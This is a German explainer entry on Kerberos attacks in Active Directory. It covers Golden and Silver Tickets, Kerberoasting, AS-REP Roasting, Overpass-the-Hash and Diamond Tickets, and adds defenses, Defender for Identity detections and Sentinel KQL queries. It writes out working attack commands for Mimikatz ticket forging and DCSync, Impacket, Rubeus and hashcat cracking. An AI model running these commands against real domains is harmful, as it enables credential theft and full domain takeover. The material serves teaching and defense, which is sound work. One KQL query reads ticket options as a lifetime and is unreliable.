Kerberos Angriffe - Golden Ticket, Silver Ticket, Kerberoasting - Definition & Erklärung

Kerberos-Angriffe zielen auf Schwachstellen im Windows-Authentifizierungsprotokoll Kerberos (Kerberos Version 5) ab. Da Kerberos das primäre Authentifizierungsprotokoll in Active Directory-Domänen ist, haben erfolgreiche Kerberos-Angriffe oft weitreichende Konsequenzen bis hin zur vollständigen Domain-Übernahme.

Kerberos-Grundlagen

Das Kerberos-System basiert auf Tickets, die vom Key Distribution Center (KDC) - dem Domain Controller - ausgestellt werden.

TGT (Ticket Granting Ticket): Wird vom KDC ausgestellt und mit dem KRBTGT-Account-Hash verschlüsselt. Es beweist die erfolgte Authentifizierung und ist standardmäßig 10 Stunden gültig.

TGS (Ticket Granting Service / Service Ticket): Wird vom KDC auf Basis eines gültigen TGT ausgestellt und mit dem Hash des Service-Accounts (SPN) verschlüsselt. Es beweist die Zugriffsberechtigung auf einen bestimmten Dienst und ist ebenfalls standardmäßig 10 Stunden gültig.

SPN (Service Principal Name): Identifiziert einen Dienst in der Domäne im Format ServiceClass/Host:Port/ServiceName, beispielsweise MSSQLSvc/sql01.corp.local:1433. Service-Accounts mit SPN sind das Ziel für Kerberoasting.

KRBTGT-Account: Ein spezieller AD-Account ohne echten Benutzer. Sein Hash verschlüsselt alle TGTs in der Domäne - eine Kompromittierung bedeutet vollständige Domänen-Übernahme durch Golden Tickets.

Golden Ticket

Was ist ein Golden Ticket?

Ein Golden Ticket ist ein gefälschtes TGT, das mit dem KRBTGT-Hash signiert ist. Der Domain Controller nimmt es als valide an, weil die Signatur korrekt ist. Ein Golden Ticket kann beliebige Benutzer imitieren, einschließlich Domain-Admins, hat eine einstellbare Gültigkeitsdauer von üblicherweise 10 Jahren und bleibt nach Passwort-Änderungen der Benutzeraccounts gültig - nur eine KRBTGT-Passwortrotation macht es ungültig.

Voraussetzung: Der KRBTGT-Hash muss bekannt sein. Dieser ist nur über DCSync (erfordert Replikations-Rechte) oder durch direkten Zugriff auf den Domain Controller (Lesen der NTDS.dit) erhältlich.

Golden Ticket erstellen (Mimikatz)

# Schritt 1: KRBTGT-Hash extrahieren (als Domain Admin):
mimikatz# lsadump::lsa /patch
# KRBTGT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0
# Oder via DCSync:
mimikatz# lsadump::dcsync /user:krbtgt

# Schritt 2: Domain SID ermitteln:
Get-ADDomain | Select-Object -ExpandProperty DomainSID
# S-1-5-21-3623811015-3361044348-30300820

# Schritt 3: Golden Ticket erstellen + injizieren:
mimikatz# kerberos::golden \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-3623811015-3361044348-30300820 \
  /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 \
  /ptt  # Pass-the-Ticket: direkt in Session injizieren!

# Impacket (remote):
ticketer.py -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \
  -domain-sid S-1-5-21-... \
  -domain corp.local \
  Administrator
KRB5CCNAME=Administrator.ccache psexec.py corp.local/Administrator@dc01

Schutzmaßnahmen gegen Golden Tickets

Das KRBTGT-Passwort muss zweimal rotiert werden, da das erste Reset den alten Hash noch für laufende TGTs gültig lässt. Erst die zweite Rotation nach etwa 10 Stunden macht alle alten TGTs ungültig. Microsoft Defender for Identity erkennt die Verwendung von Golden Tickets automatisch. Zusätzlich hilft die Überwachung von Event ID 4769 auf abnormale Felder wie ungewöhnlich lange Gültigkeiten.

Silver Ticket

Was ist ein Silver Ticket?

Ein Silver Ticket ist ein gefälschtes TGS (Service Ticket) für einen spezifischen Dienst. Es wird mit dem Service-Account-Hash signiert, nicht mit dem KRBTGT-Hash. Da der Domain Controller dabei nicht kontaktiert werden muss, entstehen keine Logs auf dem DC - Silver Tickets sind dadurch schwieriger zu erkennen als Golden Tickets.

Voraussetzung: Der Hash des Service-Accounts oder Computer-Accounts muss bekannt sein.

Silver Ticket erstellen (Mimikatz)

# Für CIFS (SMB-Zugriff) auf SQL-Server:
mimikatz# kerberos::golden \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-... \
  /target:sql01.corp.local \
  /service:cifs \
  /rc4:A9FDFA038C4B75EBC76DC855DD74F0DA \
  /ptt

# Für MSSQLSvc:
# /service:MSSQLSvc /target:sql01.corp.local:1433

Angreifbare Dienste

Dienst	Zugriff
cifs	SMB-Dateizugriff
host	Remote Shell (PsExec)
http	HTTP/HTTPS-Dienste
MSSQLSvc	SQL Server
wsman	WinRM/PowerShell Remoting

Schutzmaßnahmen gegen Silver Tickets

gMSA (Group Managed Service Accounts): automatisch rotierte Passwörter eliminieren dauerhaft gültige Hashes
Starke Passwörter für Service-Accounts (mindestens 25 zufällige Zeichen)
Least Privilege: Service-Accounts ohne Domain-Admin-Rechte
Protected Users Group: Service-Accounts in der “Protected Users”-Gruppe schützen

Kerberoasting (im Detail)

Warum Kerberoasting funktioniert

Jeder Domain-User kann ein TGS für jeden SPN anfordern - das ist Teil des Kerberos-Protokolls. Das TGS ist mit dem Service-Account-Hash verschlüsselt und enthält bekannte Klartext-Felder, was es offline crackbar macht. Der Angreifer benötigt keinerlei Admin-Rechte, ein Standard-Domain-User reicht vollständig aus.

Kerberoasting Tools

# GetUserSPNs.py (Impacket):
GetUserSPNs.py corp.local/normaluser:Password \
  -dc-ip 10.0.0.1 \
  -request \
  -outputfile hashes.txt
# hashes.txt enthält Hashcat-Format $krb5tgs$23$...

# Rubeus (Windows):
Rubeus.exe kerberoast /outfile:hashes.txt

# PowerView:
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat

# Hash knacken (Hashcat):
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

Schutzmaßnahmen gegen Kerberoasting

Starke Passwörter für SPN-Accounts: mindestens 25 zufällige Zeichen machen Offline-Cracking unpraktikabel
gMSA: automatisch rotierte 240-Zeichen-Passwörter machen Kerberoasting faktisch wirkungslos
Minimale SPNs: SPNs nur dann registrieren, wenn wirklich nötig
Detection: Event ID 4769 mit Encryption-Type 0x17 (RC4) für SPN-Accounts überwachen. Moderne Accounts nutzen AES-Verschlüsselung - RC4-Anfragen für SPN-Accounts sind ein starkes Indiz für Kerberoasting.

AS-REP Roasting

Funktionsprinzip

Normalerweise sendet der User einen verschlüsselten Zeitstempel zur Vorauthentifizierung, bevor der KDC ein TGT ausstellt. Ist die Option “Don’t require Kerberos preauthentication” aktiviert, sendet der KDC ein TGT ohne vorherige Authentifizierung. Dieses TGT enthält mit dem User-Passwort-Hash verschlüsselte Daten, die offline geknackt werden können.

Schwachstellen-Accounts finden

# Active Directory - Accounts ohne Pre-Auth:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties *

# GetNPUsers.py (Impacket, ohne AD-Credentials!):
GetNPUsers.py corp.local/ \
  -dc-ip 10.0.0.1 \
  -usersfile users.txt \
  -format hashcat

# Rubeus:
Rubeus.exe asreproast /outfile:asrep-hashes.txt

# Hash knacken:
hashcat -m 18200 asrep-hashes.txt rockyou.txt

Schutzmaßnahmen gegen AS-REP Roasting

Die Pre-Authentifizierung sollte für alle Accounts aktiviert sein - das ist der Standard und sollte nie ohne Grund deaktiviert werden:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
  Set-ADUser -DoesNotRequirePreAuth $false

Zusätzlich empfehlen sich regelmäßige Audits, welche Accounts das Flag gesetzt haben, sowie starke Passwörter für die Fälle, wo Pre-Auth technisch unvermeidbar deaktiviert ist (z.B. bestimmte API-Authentifizierungsszenarien).

Overpass-the-Hash

Was ist Overpass-the-Hash?

Im Gegensatz zu Pass-the-Hash, das einen NTLM-Hash direkt für NTLM-Authentifizierung nutzt, konvertiert Overpass-the-Hash einen NTLM-Hash in ein Kerberos-TGT. Der Vorteil ist weniger Detection, da Kerberos statt NTLM verwendet wird - nützlich in Umgebungen, in denen NTLM geblockt wird.

# Mimikatz:
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:HASH /run:cmd.exe
# Öffnet CMD mit Administrator-Kerberos-Ticket!

# Impacket:
getTGT.py -hashes :NTLM_HASH corp.local/Administrator
KRB5CCNAME=Administrator.ccache psexec.py corp.local/Administrator@target

Diamond Tickets (neuere Technik)

Diamond Tickets sind eine Weiterentwicklung des Golden Ticket-Konzepts: Statt ein komplett gefälschtes TGT zu erstellen, wird ein echtes TGT modifiziert. Die gültige TGT-Struktur wird beibehalten und nur der PAC (Privilege Attribute Certificate) geändert. Dies macht Diamond Tickets schwerer zu erkennen als klassische Golden Tickets, da keine “unrealistischen” Felder wie extreme Gültigkeitsdauern vorhanden sind. Die Erkennung erfordert eine höhere Detection-Maturity mit MDI und maßgeschneiderten SIEM-Regeln.

Erkennung und Schutz

Microsoft Defender for Identity (MDI)

MDI erkennt auf Domain Controllern automatisch folgende Angriffe:

Kerberoasting: Viele TGS-Anfragen für SPN-Accounts
Golden Ticket: TGT mit ungewöhnlicher Gültigkeit
Pass-the-Ticket: TGT von einem fremden Host verwendet
DCSync: Replikations-Anfragen von Nicht-DC

Voraussetzung: MDI-Sensor muss auf allen Domain Controllern deployed sein (Azure Portal → Defender for Identity).

KQL-Queries für Microsoft Sentinel

// Kerberoasting Detection (viele TGS-Requests):
SecurityEvent
| where EventID == 4769
| where TicketOptions == "0x40810000"
| where TicketEncryptionType == "0x17"  // RC4 → verdächtig!
| summarize count() by Account, ServiceName, IpAddress, bin(TimeGenerated, 1h)
| where count_ > 10

// AS-REP Roasting:
SecurityEvent
| where EventID == 4768  // TGT angefordert
| where PreAuthType == "0"  // Kein Pre-Auth!
| project TimeGenerated, Account, IpAddress

// Golden Ticket (Ticket-Gültigkeit > 10h):
SecurityEvent
| where EventID == 4769
| extend TicketExpiry = dateadd('second', tolong(TicketOptions), TimeGenerated)
| where datetime_diff('hour', TicketExpiry, TimeGenerated) > 10

Hardening-Checkliste

KRBTGT-Passwort mindestens zweimal pro Jahr rotieren
gMSA für alle Service-Accounts einsetzen (kein manuelles Passwort)
Pre-Authentication für alle Accounts aktivieren
Privilegierte Accounts in die Protected Users Group aufnehmen
Kerberos AES256 nutzen, RC4 wo möglich deaktivieren
Microsoft Defender for Identity auf allen DCs deployen
Tier-Modell umsetzen: KRBTGT-Zugriff nur für Tier-0